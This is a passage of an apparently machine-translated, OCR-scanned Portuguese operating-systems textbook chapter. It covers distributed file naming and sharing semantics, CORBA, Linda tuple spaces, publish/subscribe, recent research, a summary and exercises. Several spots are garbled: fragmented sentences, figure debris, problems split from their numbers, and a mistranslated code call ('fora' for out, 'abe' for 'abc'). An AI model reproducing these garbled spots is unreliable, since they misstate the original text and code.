arquivos. (b) Um sistema no qual todos os clientes têm a mesma visão do sistema de arquivos. 
(c) Um sistema no qual clientes diferentes têm visões diferentes do sistema de arquivos. 


servidor automaticamente, mesmo que dirt e dir? existam em ambos os servidores. O problema é 
que mover o arquivo altera automaticamente seu nome de caminho de /server1/dir1/dir2/x 
para /serverZ/dir1/dir2/x. Os programas que possuem a string anterior incorporada serão 
deixará de funcionar se o caminho mudar. Um sistema no qual os arquivos podem ser movidos sem 
Diz-se que a mudança de seus nomes tem independência de localização. Um sistema distribuído 
que incorpora nomes de máquinas ou servidores em nomes de caminhos claramente não é 
independente de localização. Uma baseada em montagem remota também não o é, pois não é possível 
mover um arquivo de um grupo de arquivos (a unidade de montagem) para outro e ainda ser capaz 
para usar o nome do caminho antigo. A independência de localização não é fácil de alcançar, mas é um 
propriedade desejável para se ter em um sistema distribuído. 

Para resumir o que dissemos anteriormente, existem três abordagens comuns para arquivar 
e nomeação de diretório em um sistema distribuído: 
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1. Nomeação de máquina + caminho, como /máquina/caminho ou máquina:caminho. 
2. Montando sistemas de arquivos remotos na hierarquia de arquivos local. 


3. Um único espaço de nomes que tem a mesma aparência em todas as máquinas. 


Os dois primeiros são fáceis de implementar, especialmente como forma de conectar sistemas existentes que 
não foram projetados para uso distribuído. Este último é difícil e requer 
design cuidadoso, mas facilita a vida de programadores e usuários. 


Semântica de compartilhamento de arquivos 


Quando dois ou mais usuários compartilham o mesmo arquivo, é necessário definir o 
semântica de leitura e escrita justamente para evitar problemas. Em processador único 
sistemas, a semântica normalmente afirma que quando uma chamada de sistema de leitura segue uma escrita 
chamada de sistema, a leitura retorna o valor que acabou de ser escrito, como mostrado na Figura 8.35(a). Da 
mesma forma, quando duas escritas acontecem em rápida sucessão, seguidas por uma leitura, o valor 
read é o valor armazenado pela última gravação. Com efeito, o sistema impõe uma 
ordem em todas as chamadas do sistema e todos os processadores veem a mesma ordem. Vamos 
consulte este modelo como consistência sequencial. 

Em um sistema distribuído, a consistência sequencial pode ser alcançada facilmente, desde que 
pois há apenas um servidor de arquivos e os clientes não armazenam arquivos em cache. Todas as leituras e gravações 
vão diretamente para o servidor de arquivos, que os processa estritamente sequencialmente. 

Na prática, entretanto, o desempenho de um sistema distribuído no qual todos os arquivos 
as solicitações devem ir para um único servidor é frequentemente ruim. Este problema é muitas vezes resolvido 
permitindo que os clientes mantenham cópias locais de arquivos muito usados em seus ambientes privados 
caches. No entanto, se o cliente 1 modificar um arquivo em cache localmente e logo depois 
cliente 2 lê o arquivo do servidor, o segundo cliente obterá um arquivo obsoleto, como 
ilustrado na Figura 8.35(b). 

Uma maneira de resolver essa dificuldade é propagar todas as alterações nos arquivos em cache de volta 
para o servidor imediatamente. Embora conceitualmente simples, esta abordagem é ineficiente. Uma solução 
alternativa é relaxar a semântica do compartilhamento de arquivos. Em vez de 
exigindo uma leitura para ver os efeitos de todas as escritas anteriores, pode-se ter uma nova regra 
que diz: "As alterações em um arquivo aberto são inicialmente visíveis apenas para o processo que 
as fez. Somente quando o arquivo é fechado as alterações ficam visíveis para outros processos." A adoção de 
tal regra não altera o que acontece na Figura 8.35(b), 
mas redefine o comportamento real (B obtendo o valor original do arquivo) como 
sendo o correto. Quando o cliente 1 fecha o arquivo, ele envia uma cópia de volta ao servidor, para que as 
leituras subsequentes obtenham o novo valor, conforme necessário. Efetivamente, este é o 
modelo de upload/download mostrado na Figura 8-33. Esta regra semântica é amplamente implementada e é 
conhecida como semântica de sessão. 

O uso da semântica de sessão levanta a questão do que acontece se dois ou mais clientes estiverem 
simultaneamente armazenando em cache e modificando o mesmo arquivo. Uma solução é dizer 
que à medida que cada arquivo é fechado, seu valor é enviado de volta ao servidor, então o valor final 
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Cliente 1 


nã 1. Leia "ab" 
Processador único er Egorova SO 


1. Escreva "c" 
Arquivo 


original Servidor de arquivos 


2. A leitura obtém 


3. A leitura obtém “ab” 


"abc" (a) Cliente 2 


Figura 8-35. (a) Consistência sequencial. (b) Em um sistema distribuído com cache, a 
leitura de um arquivo pode retornar um valor obsoleto. 


o resultado depende de quem fecha por último. Uma alternativa menos agradável, mas 
um pouco mais fácil de implementar, é dizer que o resultado final é um dos candidatos, 
mas deixar sem especificar qual deles. 

Uma abordagem alternativa à semântica da sessão é usar o modelo upload/download, 
mas para bloquear automaticamente um arquivo que foi baixado. As tentativas de outros 
clientes de baixar o arquivo serão retidas até que o primeiro cliente o devolva. Se houver 
uma grande demanda por um arquivo, o servidor poderá enviar mensagens ao cliente 
que contém o arquivo, pedindo-lhe que se apresse, mas isso pode ou não ajudar. 


Resumindo, acertar a semântica dos arquivos compartilhados é uma tarefa complicada, 
sem soluções elegantes e eficientes. 


8.3.5 Middleware Baseado em Objetos 


Agora vamos dar uma olhada em um terceiro paradigma. Em vez de dizer que tudo é 
um documento ou que tudo é um arquivo, dizemos que tudo é um objeto. Um objeto neste 
contexto é uma coleção de variáveis que são agrupadas com um conjunto de 
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procedimentos de acesso, chamados métodos. Os processos não têm permissão para acessar as variáveis 
diretamente. Em vez disso, eles são obrigados a invocar os métodos. 

Algumas linguagens de programação, como C++ e Java, são orientadas a objetos, mas 
estes são objetos de nível de linguagem, em vez de objetos de tempo de execução. Um sistema bem 
conhecido baseado em objetos de tempo de execução é o CORBA (Common Object Request Broker 
Arquitetura) (Vinoski, 1997), que viu a luz do dia pela primeira vez em 1991 e foi 
atualizado ativamente até 2012. CORBA é um sistema cliente-servidor, no qual 
processos clientes em máquinas clientes podem invocar operações em objetos localizados em 
máquinas servidoras (possivelmente remotas). CORBA foi projetado para um ambiente heterogêneo 
sistema que executa uma variedade de plataformas de hardware e sistemas operacionais e é programado 
em diversas linguagens. Para tornar possível que um cliente em uma plataforma invoque um servidor em 
uma plataforma diferente, ORBs (Object Request Brokers) 
são interpostos entre cliente e servidor para permitir que eles correspondam. Os ORBs 
desempenham um papel importante no CORBA, até mesmo fornecendo seu nome ao sistema. 

Cada objeto CORBA é definido por uma definição de interface em uma linguagem chamada 
IDL (Interface Definition Language), que informa quais métodos o objeto 
exportações e quais tipos de parâmetros cada uma espera. A especificação IDL pode ser 
compilado em um procedimento stub de cliente e armazenado em uma biblioteca. Se um processo do cliente 
sabe de antemão que precisará acessar determinado objeto, está vinculado ao 
código stub do cliente do objeto. A especificação IDL também pode ser compilada em um procedimento 
estrutural que é usado no lado do servidor. Se não se souber antecipadamente qual 
objetos CORBA que um processo precisa usar, a invocação dinâmica também é possível, mas 
como isso funciona está além do escopo do nosso tratamento. 

A função dos ORBs é ocultar todos os detalhes de distribuição e comunicação de baixo nível do código 
do cliente e do servidor. Em particular, os ORBs escondem-se de 
ao cliente a localização do servidor, seja o servidor um programa binário ou um 
script, em qual hardware e sistema operacional o servidor é executado, se o objeto 
está atualmente ativo e como os dois ORBs se comunicam (por exemplo, usando TCP/IP, RPC, 
ou memória compartilhada). 

Um problema sério com CORBA é que cada objeto está localizado em apenas um servidor, o que 
significa que o desempenho será péssimo para objetos que são muito usados. 
em máquinas clientes em todo o mundo. Na prática, CORBA funciona de forma aceitável 
apenas em sistemas de pequena escala, como para conectar processos em um computador, um 
LAN ou dentro de uma única empresa. 


8.3.6 Middleware Baseado em Coordenação 


Nosso último paradigma para um sistema distribuído é chamado de middleware baseado em 
coordenação. Discutiremos isso examinando o sistema Linda, um sistema de pesquisa acadêmica 
projeto que deu início a todo o campo. 

Linda começou como um novo sistema de comunicação e sincronização desenvolvido na Universidade 
de Yale por David Gelernter e seu aluno Nick Carriero (Carriero 
e Gelernter, 1986; Carriero e Gelernter, 1989; e Gelernter, 1985). Em Linda, 
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processos independentes se comunicam por meio de um espaço de tupla abstrato. O espaço de 
tuplas é global para todo o sistema, e os processos em qualquer máquina podem inserir tuplas no 
espaço de tuplas ou remover tuplas do espaço de tuplas, independentemente de como ou onde 
elas são armazenadas. Para o usuário, o espaço de tuplas parece uma grande memória 
compartilhada global, como já vimos de várias formas antes, como na Figura 8.21(c). 

Uma tupla é como uma estrutura em C ou Java. Consiste em um ou mais campos, cada um 
dos quais é um valor de algum tipo suportado pela linguagem base (Linda é implementado 
adicionando uma biblioteca a uma linguagem existente, como C). Para C-Linda, os tipos de campo 
incluem inteiros, inteiros longos e números de ponto flutuante, bem como tipos compostos, como 
arrays (incluindo strings) e estruturas (mas não outras tuplas). 

Ao contrário dos objetos, as tuplas são dados puros; eles não têm nenhum método associado. A 
Figura 8-36 mostra três tuplas como exemplos. 


("abc", 2, 5) 
(matr ix-1", 1, 6, 3.14) 


" "A 


("família", "é-irmã", "Stephany", "Roberta") 


Figura 8-36. Três tuplas Linda. 


Quatro operações são fornecidas em tuplas. O primeiro, out, coloca uma tupla no 
espaço de tupla. Por exemplo, 


fora("abe", 2, 5); 


coloca a tupla ("abc", 2, 5) no espaço da tupla. Os campos de out normalmente são constantes, 
variáveis ou expressões, como em 


out("matr ix1", i, j, 3.14); 


que gera uma tupla com quatro campos, sendo o segundo e o terceiro determinados pelos valores 
atuais das variáveis ie j. 

As tuplas são recuperadas do espaço de tuplas pela primitiva in . Eles são abordados pelo 
conteúdo e não pelo nome ou endereço. Os campos de in podem ser expressões ou parâmetros 
formais. Considere, por exemplo, 


in("abc", 2, ?i); 


Esta operação "procura" no espaço da tupla por uma tupla que consiste na string "abc", no número 
inteiro 2 e em um terceiro campo contendo qualquer número inteiro (assumindo que i é um número 
inteiro ) . Se encontrada, a tupla é removida do espaço de tuplas e a variável i recebe o valor do 
terceiro campo. A correspondência e a remoção são atômicas, portanto, se dois processos 
executarem a mesma operação simultaneamente, apenas um deles terá sucesso, a menos que 
duas ou mais tuplas correspondentes estejam presentes. O espaço de tupla pode até conter 
múltiplas cópias da mesma tupla. 

O algoritmo de correspondência usado por in é direto. Os campos da primitiva , chamados de 
modelo, são (conceitualmente) comparados com os campos correspondentes 
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campos de cada tupla no espaço de tupla. Uma correspondência ocorre se as três condições a 
seguir forem atendidas: 


1. O modelo e a tupla possuem o mesmo número de campos. 
2. Os tipos dos campos correspondentes são iguais. 
3. Cada constante ou variável no modelo corresponde ao seu campo de tupla. 


Parâmetros formais, indicados por um ponto de interrogação seguido de um nome de variável ou 
tipo, não participam da correspondência (exceto para verificação de tipo), embora aqueles que 
contêm um nome de variável sejam atribuídos após uma correspondência bem-sucedida. 

Se nenhuma tupla correspondente estiver presente, o processo de chamada será suspenso até 
que outro processo insira a tupla necessária, momento em que a chamada é automaticamente 
revivida e recebe a nova tupla. O fato de os processos bloquearem e desbloquearem automaticamente 
significa que se um processo está prestes a gerar uma tupla e outro está prestes a inseri-la, não 
importa o que ocorre primeiro. A única diferença é que se a entrada for feita antes da saída, haverá 
um pequeno atraso até que a tupla esteja disponível para remoção. 

O fato de os processos serem bloqueados quando uma tupla necessária não está presente pode 
ter muitos usos. Por exemplo, pode ser usado para implementar semáforos. Para criar ou fazer um 
up no semáforo S, um processo pode executar 


out("semáforo S"); 


Para fazer um down, isso faz 


in("semáforo S"); 


O estado do semáforo S é determinado pelo número de tuplas ("semáforo S") no espaço de tuplas. 
Se não existir, qualquer tentativa de obter um será bloqueada até que algum outro processo forneça 
um. 

Além de out e in, Linda também possui uma operação primitiva read, que é igual a in, exceto 
que não remove a tupla do espaço de tupla. Existe também um eval primitivo, que faz com que seus 
parâmetros sejam avaliados em paralelo e a tupla resultante seja colocada no espaço de tuplas. Este 
mecanismo pode ser usado para realizar um cálculo arbitrário. É assim que os processos paralelos 
são criados no Linda. 


Publicar/Assinar 


Nosso próximo exemplo de modelo baseado em coordenação foi inspirado em Linda e é 
denominado publicar/assinar (Oki et al., 1993). Consiste em vários processos conectados por uma 
rede de transmissão. Cada processo pode ser produtor de informação, consumidor de informação ou 
ambos. 

Quando um produtor de informação possui uma nova informação (por exemplo, um novo preço 
de ação), ele transmite a informação como uma tupla na rede. Esta ação é chamada de publicação. 
Cada tupla contém uma linha de assunto hierárquica contendo vários campos separados por pontos. 
Processos que tenham interesse em determinadas informações podem se inscrever em 
determinados assuntos, inclusive com o uso de curingas no 
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linha de assunto. A assinatura é feita informando a um processo daemon de tupla na mesma 
máquina que monitora as tuplas publicadas quais assuntos procurar. 

Publicar/assinar é implementado conforme ilustrado na Figura 8.37. Quando um processo 
tem uma tupla para publicar, ele a transmite para a LAN local. O daemon de tuplas em cada 
máquina copia todas as tuplas transmitidas para sua RAM. Em seguida, ele inspeciona a linha de 
assunto para ver quais processos têm interesse nela, encaminhando uma cópia para cada um 
deles. As tuplas também podem ser transmitidas por uma rede de longa distância ou pela Internet, 
fazendo com que uma máquina em cada LAN atue como um roteador de informações, coletando 
todas as tuplas publicadas e depois encaminhando-as para outras LANs para retransmissão. Esse 
encaminhamento também pode ser feito de forma inteligente, encaminhando uma tupla para uma 
LAN remota somente se essa LAN remota tiver pelo menos um assinante que queira a tupla. Fazer 
isso exige que os roteadores de informações troquem informações sobre os assinantes. 


Produtor 


Consumidor Demônio 


Roteador de informações 


Figura 8-37. A arquitetura de publicação/assinatura. 


Vários tipos de semântica podem ser implementados, incluindo entrega confiável e entrega 
garantida, mesmo na presença de falhas. Neste último caso, é necessário armazenar tuplas 
antigas caso sejam necessárias posteriormente. Uma maneira de armazená-los é conectar um 
sistema de banco de dados ao sistema e fazer com que ele assine todas as tuplas. Isso pode ser 
feito agrupando o sistema de banco de dados em um adaptador, para permitir que um banco de 
dados existente funcione com o modelo de publicação/assinatura. À medida que as tuplas 
aparecem, o adaptador captura todas elas e as coloca no banco de dados. 

O modelo publicar/assinar separa totalmente os produtores dos consumidores, assim como 
Linda. No entanto, às vezes é útil saber quem mais está por aí. Esta informação pode ser adquirida 
publicando uma tupla que basicamente pergunta: "Quem aí está interessado em x?" As respostas 
retornam na forma de tuplas que dizem: "Estou interessado em x." 


8.4 PESQUISA EM SISTEMAS DE MÚLTIPLOS PROCESSADORES 


A pesquisa sobre multicores, multiprocessadores e sistemas distribuídos é extremamente 
popular. Além dos problemas diretos de mapeamento da funcionalidade do sistema operacional 
em um sistema que consiste em múltiplos núcleos de processamento, existem muitas pesquisas abertas 
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problemas relacionados com a sincronização e a consistência, e a forma de tornar esses sistemas 
mais rápidos e mais fiáveis. 

O gerenciamento de threads em núcleos continua sendo um problema ativo e complexo. Para 
melhorar a latência, Qin et al. (2020) implementaram um pacote de threads em nível de usuário que 
suporta threads de vida extremamente curta (apenas alguns microssegundos). Um núcleo árbitro 
atribui núcleos aos aplicativos e os aplicativos controlam o posicionamento dos threads entre os núcleos. 


A comunicação rápida entre nós conectados através de uma rede, por exemplo, através de 
RDMA, também é um tema de pesquisa importante. Existem muitas otimizações para diferentes 
primitivas RDMA (unilaterais ou bilaterais), e Wei et al. (2020) fornecem uma comparação sistemática. 
Eles mostram que nenhuma primitiva única (unilateral ou bilateral) vence em todos os casos e, em 
vez disso, propõem uma implementação híbrida. Curiosamente, os benefícios do RDMA não se 
aplicam automaticamente a todos os programas escritos em linguagens como Java e Scala, que não 
suportam acesso direto à memória heap. 

Taranov et al. (2021) mostram como a rede RDMA pode ser estendida para Java. 

As redes rápidas também levam a um interesse renovado na memória compartilhada distribuída 
(DSM). No DSM, o armazenamento em cache de dados (necessário para reduzir acessos remotos 
frequentes) pode gerar uma alta sobrecarga de coerência. Em Concordia, Wang et al. (2021) 
desenvolvem DSM com coerência rápida de cache na rede apoiada por NICs inteligentes. Enquanto 
isso, Ruan et al. (2020) demonstraram uma implementação de memória distante integrada ao aplicativo. 
Ele atinge a mesma latência de acesso de caso comum para memória remota e para RAM local e 
permite construir estruturas de dados de memória híbrida próxima/distante remotas. 

Embora o design e a implementação de novos sistemas operacionais sejam cada vez mais raros, 
mesmo em pesquisa, novos trabalhos aparecem de tempos em tempos. LegoOS introduz um novo 
modelo de sistema operacional para gerenciar sistemas desagregados que dissemina funcionalidades 
tradicionais do sistema operacional em monitores fracamente acoplados, cada um dos quais roda e 
gerencia um componente de hardware (Shan et al., 2018). Internamente, o LegoOS separa de forma 
clara o processador, a memória e os dispositivos de armazenamento, tanto no nível do hardware 
quanto no nível do sistema operacional. 

Um dos problemas mais difíceis em sistemas distribuídos é o que fazer caso os nós falhem. 
Alagappan et al. (2018) mostram como realizar atualizações de dados replicados em um sistema 
distribuído usando atualizações com reconhecimento de situação e recuperação de falhas. Em 
particular, ele executará atualizações na memória se tudo estiver bem e muitos nós estiverem ativos, 
mas as descarregará no disco quando surgirem falhas. 

Finalmente, os pesquisadores trabalham no uso da abundância de muitos núcleos para melhorar 
o armazenamento. Por exemplo, Liao et al. (2021) apresentam um sistema de arquivos estruturado em 
log (LFS) compatível com vários núcleos para armazenamento flash. Com três técnicas principais, eles 
melhoram a escalabilidade do LFS. Primeiro, eles propõem um novo semáforo leitor-escritor para 
dimensionar a E/S do usuário sem prejudicar as operações internas do LFS. Em segundo lugar, eles 
melhoram o acesso ao Índice e ao cache na memória, ao mesmo tempo em que fornecem um layout 
em disco compatível com simultaneidade e flash. Terceiro, eles exploram o paralelismo flash, passam 
de um design de log único com partições de log independentes do tempo de execução e atrasam as 
garantias de ordem e consistência para a recuperação de falhas. 
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8.5 RESUMO 


Os sistemas de computador podem se tornar mais rápidos e confiáveis usando múltiplos 
CPUs. Quatro organizações para sistemas multi-CPU são multiprocessadores, multicomputadores, máquinas 
virtuais e sistemas distribuídos. Cada um deles tem seus próprios vínculos e questões. 


Um multiprocessador consiste em duas ou mais CPUs que compartilham uma RAM comum. 
Frequentemente, essas próprias CPUs consistem em vários núcleos. Os núcleos e CPUs podem 
ser interconectados por um barramento, um switch crossbar ou uma rede de comutação multiestágio. 

Várias configurações de sistema operacional são possíveis, incluindo dar a cada CPU 

seu próprio sistema operacional, tendo um sistema operacional líder com o resto sendo 

seguidor, ou tendo um multiprocessador simétrico, no qual existe uma cópia do 

sistema operacional que qualquer CPU pode executar. Neste último caso, são necessários bloqueios para 
fornecer sincronização. Quando um bloqueio não está disponível, uma CPU pode girar ou fazer um contexto 
trocar. Vários algoritmos de agendamento são possíveis, incluindo compartilhamento de tempo, espaço 
compartilhamento e agendamento de gangues. 

Multicomputadores também possuem duas ou mais CPUs, mas cada uma dessas CPUs tem seus 
própria memória privada. Eles não compartilham nenhuma RAM comum, então toda a comunicação 
usa passagem de mensagens. Em alguns casos, a placa de interface de rede possui seu próprio 
CPU, caso em que a comunicação entre a CPU principal e a CPU da placa de interface deve ser 
cuidadosamente organizada para evitar condições de corrida. Nível de usuário 
a comunicação em multicomputadores geralmente usa chamadas de procedimento remoto, mas a memória 
compartilhada distribuída também pode ser usada. O balanceamento de carga de processos é um problema aqui, 
e os vários algoritmos usados para isso incluem algoritmos iniciados pelo remetente, algoritmos iniciados pelo 
receptor e algoritmos de lances. 

Sistemas distribuídos são sistemas fracamente acoplados, em que cada um de seus nós é um 
computador completo com um conjunto completo de periféricos e sistema operacional próprio. Frequentemente, 
esses sistemas estão espalhados por uma grande área geográfica. Middleware é 
muitas vezes colocado no topo do sistema operacional para fornecer uma camada uniforme para aplicativos 
para interagir. Os vários tipos incluem middleware baseado em documento, baseado em arquivo, baseado em 
objeto e baseado em coordenação. Alguns exemplos são o World Wide 
Web, CORBA e Linda. 


PROBLEMAS 


1. O que acontece se duas CPUs em um multiprocessador tentarem acessar exatamente o mesmo 


palavra da memória exatamente no mesmo instante? 


2. Se uma CPU emitir uma solicitação de memória para cada instrução e o computador funcionar a 200 
MIPS, quantas CPUs serão necessárias para saturar um barramento de 400 MHz? Suponha que um 
a referência de memória requer um ciclo de barramento. Agora repita este problema para um sistema em 
qual cache é usado e os caches têm uma taxa de acerto de 90%. Finalmente, qual taxa de acerto do cache 


seria necessário para permitir que 32 CPUs compartilhassem o barramento sem sobrecarregá-lo? 
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3. Suponha que o fio entre o switch 2A e o switch 3A na rede ômega de 
Figura 8-5 quebras. Quem está isolado de quem? 


4. Quando uma chamada de sistema é feita no modelo da Figura 8-8, um problema deve ser resolvido imediatamente 
após a armadilha que não ocorre no modelo da Figura 8-7. Qual é a natureza deste problema e como pode ser 


resolvido? 


5. Qual é a diferença entre um encadeamento regular no sentido dos encadeamentos discutidos em 
Indivíduo. 2 e um hiper-thread. O que é mais rápido? 


6. CPUs multicore são comuns em desktops e laptops convencionais. 
Desktops com dezenas ou centenas de núcleos não estão longe. Uma maneira possível de aproveitar esse poder 
é paralelizar aplicativos de desktop padrão, como o processador de texto ou o navegador da Web. Outra maneira 
possível de aproveitar o poder é paralelizar os serviços oferecidos pelo sistema operacional, por exemplo, 
processamento TCP, bem como serviços de biblioteca comumente usados, como funções seguras de biblioteca 
http. Qual abordagem parece mais promissora? Por que? 


7. As regiões críticas nas seções de código são realmente necessárias em um sistema operacional SMP para evitar 
condições de corrida ou os mutexes nas estruturas de dados também farão o trabalho? 


8. Quando a instrução TSL é usada para sincronização de multiprocessador, o bloco de cache que contém o mutex 
será alternado entre a CPU que mantém o bloqueio e a CPU que o solicita, se ambos continuarem tocando o bloco. 
Para reduzir o tráfego de barramento, a CPU solicitante executa um TSL a cada 50 ciclos de barramento, mas a 
CPU que mantém o bloqueio sempre toca o bloco de cache entre as instruções do TSL . Se um bloco de cache 
consiste em 16 palavras de 32 bits, cada uma das quais requer um ciclo de barramento para ser transferida, e o 
barramento opera a 400 MHz, que fração da largura de banda do barramento é consumida ao mover o bloco de 


cache para frente e para trás? 


9. No texto, foi sugerido que um algoritmo de backoff exponencial binário fosse usado entre os usos do TSL para 
pesquisar um bloqueio. Também foi sugerido um atraso máximo entre as votações. O algoritmo funcionaria 


corretamente se não houvesse atraso máximo? 


10. Suponha que a instrução TSL não esteja disponível para sincronizar um multiprocessador. 
Em vez disso, foi fornecida outra instrução, SWP, que trocava atomicamente o conteúdo de um registrador por uma 
palavra na memória. Isso poderia ser usado para fornecer sincronização de multiprocessador? Se sim, como 
poderia ser usado? Se não, por que não funciona? 


11. Neste problema você deve calcular quanta carga de barramento um spin lock coloca no barramento. 
Imagine que cada instrução executada por uma CPU leva 5 nseg. Após a conclusão de uma instrução, quaisquer 
ciclos de barramento necessários, por exemplo, para TSL , serão executados. Cada ciclo de barramento leva 10 ns 
adicionais acima e além do tempo de execução da instrução. Se um processo está tentando entrar em uma região 
crítica usando um loop TSL , que fração da largura de banda do barramento ele consome? Suponha que o cache 
normal esteja funcionando de modo que a busca de uma instrução dentro do loop não consuma ciclos de barramento. 


12. Diz-se que a Figura 8-12 representa um ambiente de compartilhamento de tempo. Por que apenas um processo (A) 


é mostrado na parte (b)? 


13. Quando o agendamento de grupo é usado, o número de CPUs no grupo precisa ser uma potência de dois? Explique 


sua resposta. 
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14. Qual é a vantagem de organizar os nós de um multicomputador em um hipercubo em vez de em uma grade? 
Existe alguma desvantagem em usar um hipercubo? 


15. Considere a topologia de toro duplo da Figura 8.16(d), mas expandida para o tamanho k x k. Qual é o diâmetro 
da rede? (Dica: considere k ímpar e k par de forma diferente.) 


16. A largura de banda de bissecção de uma rede de interconexão é frequentemente usada como medida de sua 
capacidade. É calculado removendo um número mínimo de links que divide a rede em duas unidades de 
tamanhos iguais. A capacidade dos links removidos é então somada. Se houver muitas maneiras de fazer a 
divisão, aquela com largura de banda mínima é a largura de banda de bissecção. Para uma rede de interconexão 
composta por um cubo 8 x 8 x 8, qual é a largura de banda da bissecção se cada enlace tiver 1 Gbps? 


17. Considere um multicomputador no qual a interface de rede está no modo de usuário, portanto, são necessárias 
apenas três cópias da RAM de origem para a RAM de destino. Suponha que mover uma palavra de 32 bits de 
ou para a placa de interface de rede leve 20 ns e que a própria rede opere a 1 Gbps. Qual seria o atraso para 
um pacote de 64 bytes ser enviado da origem ao destino se pudéssemos ignorar o tempo de cópia? O que há 
com o tempo de cópia? Agora considere o caso em que são necessárias duas cópias extras, para o kernel no 
lado de envio e do kernel no lado de recebimento. Qual é o atraso neste caso? 


18. Repita o problema anterior tanto para o caso de três cópias quanto para o caso de cinco cópias eletrônicas, mas 
desta vez calcule a largura de banda em vez do atraso. 


19. Como a implementação de envio e recebimento deve diferir entre um sistema multiprocessador de memória 
compartilhada e um multicomputador, e como isso afeta o desempenho? 


20. Ao transferir dados da RAM para uma interface de rede, a fixação de uma página pode ser usada, mas suponha 
que as chamadas do sistema para fixar e desafixar páginas levem 1 segundo cada.yA cópia leva 5 bytes/nseg 
usando DMA, mas 20 nseg por byte usando E/S programada. Qual deve ser o tamanho de um pacote antes de 
fixar a página e valer a pena usar DMA? 


21. Quando um procedimento é retirado de uma máquina e colocado em outra para ser chamado pelo RPC, podem 
ocorrer alguns problemas. No texto, apontamos quatro deles: ponteiros, tamanhos de array desconhecidos, 
tipos de parâmetros desconhecidos e variáveis globais. Uma questão não discutida é o que acontece se o 
procedimento (remoto) executar uma chamada de sistema. Que problemas isso pode causar e o que pode ser 
feito para lidar com eles? 


22. Forneça uma regra que garanta consistência sequencial em um sistema de memória compartilhada distribuída. 
Há alguma desvantagem em sua regra? Se sim, quais são eles? 


23. Considere a alocação de processador da Figura 8.24. Suponha que o processo H seja movido do nó 2 para o nó 
3. Qual é o peso total do tráfego externo agora? 


24. Alguns multicomputadores permitem que processos em execução sejam migrados de um nó para outro. É 
suficiente parar um processo, congelar sua imagem de memória e simplesmente enviá-la para um nó diferente? 
Cite dois problemas difíceis que precisam ser resolvidos para que isso funcione. 


25. Por que existe um limite para o comprimento do cabo em uma rede Ethernet? 


26. Na Figura 8-27, a terceira e a quarta camadas são rotuladas como Middleware e Aplicação em todas as quatro 
máquinas. Em que sentido eles são todos iguais em todas as plataformas e em que sentido são diferentes? 
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27. 


28. 


29. 


30. 


31. 


32. 


33. 


34. 


35. 


36. 


37. 


38. 


A Figura 8-30 lista seis tipos diferentes de serviço. Para cada uma das aplicações a seguir, qual tipo de serviço 
é mais apropriado? 


(a) Vídeo sob demanda pela Internet. (b) Baixar 
uma página da Web. 


Os nomes DNS têm uma estrutura hierárquica, como sales.general-widget.com ou cs.uni.edu. Uma maneira de 
manter o banco de dados DNS seria como um banco de dados centralizado, mas isso não é feito porque 
haveria muitos solicitações/seg. Proponha uma forma de manter o banco de dados DNS na prática. 


Na discussão sobre como os URLs são processados por um navegador, foi afirmado que as conexões são 
feitas à porta 80. Por quê? 


As URLs usadas na Web podem apresentar transparência de localização? Explique sua resposta. 


Quando um navegador busca uma página da Web, ele primeiro faz uma conexão TCP para obter o texto da 
página (na linguagem HTML). Em seguida, fecha a conexão e examina a página. Se houver figuras ou ícones, 
ele faz uma conexão TCP separada para buscar cada um deles. Sugira dois designs alternativos para melhorar 
o desempenho aqui. 


Quando a semântica de sessão é usada, é sempre verdade que as alterações em um arquivo são imediatamente 
visíveis para o processo que faz a alteração e nunca visíveis para processos em outras máquinas. No entanto, 
é uma questão em aberto se eles devem ou não ser imediatamente visíveis para outros processos na mesma 
máquina. Dê um argumento para cada 


caminho. 


Quando vários processos precisam de acesso aos dados, de que forma o acesso baseado em objetos é melhor? 


do que memória compartilhada? 


Quando uma Linda em operação é realizada para localizar uma tupla, pesquisar linearmente todo o espaço da 
tupla é muito ineficiente. Projete uma maneira de organizar o espaço da tupla que irá acelerar as pesquisas 
em todas as operações. 


Imagine que você tem duas janelas abertas ao mesmo tempo no seu computador. Uma das janelas é para uma 
lista de arquivos em algum diretório (por exemplo, File Explorer no Windows ou Finder no MacOS). A outra 
janela é para um shell (interpretador de linha de comando). No shell você cria um novo arquivo. Na outra 
janela, em uma fração de segundo o novo arquivo aparece. Dê uma maneira de implementar isso. 


Copiar buffers leva tempo. Escreva um programa em C para descobrir quanto tempo leva em um sistema ao 
qual você tem acesso. Use as funções clock ou times para determinar quanto tempo leva para copiar uma 
matriz grande. Teste com diferentes tamanhos de array para separar o tempo de cópia do tempo de sobrecarga. 


Escreva funções C que possam ser usadas como stubs de cliente e servidor para fazer uma chamada RPC para 


a função printf padrão e um programa principal para testar as funções. O cliente e o servidor devem se 
comunicar por meio de uma estrutura de dados que possa ser transmitida por uma rede. Você pode impor 
limites razoáveis ao comprimento da string de formato e ao número, tipos e tamanhos das variáveis que seu 
stub de cliente aceitará. 


Escreva um programa que implemente os algoritmos de balanceamento de carga iniciados pelo remetente e 
pelo receptor descritos na Seç. 8.2. Os algoritmos devem receber como entrada uma lista de tarefas recém- 
criadas especificadas como (criação do processador, hora de início, tempo de CPU necessário). 
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onde o processador criador é o número da CPU que criou o trabalho, o 

a hora de início é a hora em que o trabalho foi criado e o tempo de CPU necessário é o E Ea 
quantidade de tempo de CPU que o trabalho precisa para ser concluído (especificado em segundos). Suponha um nó 
fica sobrecarregado quando tem um trabalho e um segundo trabalho é criado. Suponha que um nó seja 

subcarregado quando não tem empregos. Imprima o número de mensagens de investigação enviadas por ambos 
algoritmos sob cargas de trabalho pesadas e leves. Imprima também o máximo e o mínimo 

número de testes enviados por qualquer host e recebidos por qualquer host. Para criar as cargas de trabalho, 

escreva dois geradores de carga de trabalho. O primeiro deve simular uma carga de trabalho pesada, gerando, em 
média, N jobs a cada AJL segundos, onde AJL é a duração média do job e N 

é o número de processadores. A duração do trabalho pode ser uma mistura de trabalhos longos e curtos, mas o 

o comprimento médio do trabalho deve ser AJL. Os trabalhos devem ser criados aleatoriamente (colocados) em 

todos os processadores. O segundo gerador deverá simular uma carga leve, gerando aleatoriamente 

N/3 trabalhos a cada segundos AJL . Experimente outras configurações de parâmetros para os geradores de carga de 
trabalho e veja como isso afeta o número de mensagens de investigação. 


39. Uma das maneiras mais simples de implementar um sistema de publicação/assinatura é através de um sistema centralizado 
corretora que recebe artigos publicados e os distribui aos assinantes apropriados. Escreva um aplicativo multithread que 
emule um sistema pub/sub baseado em broker. Threads de editores e assinantes podem se comunicar com o corretor 
via (compartilhado) 
memória. Cada mensagem deve começar com um campo de comprimento seguido por esse número de caracteres. Os 
editores enviam mensagens ao corretor onde a primeira linha da mensagem contém uma linha de assunto hierárquica 
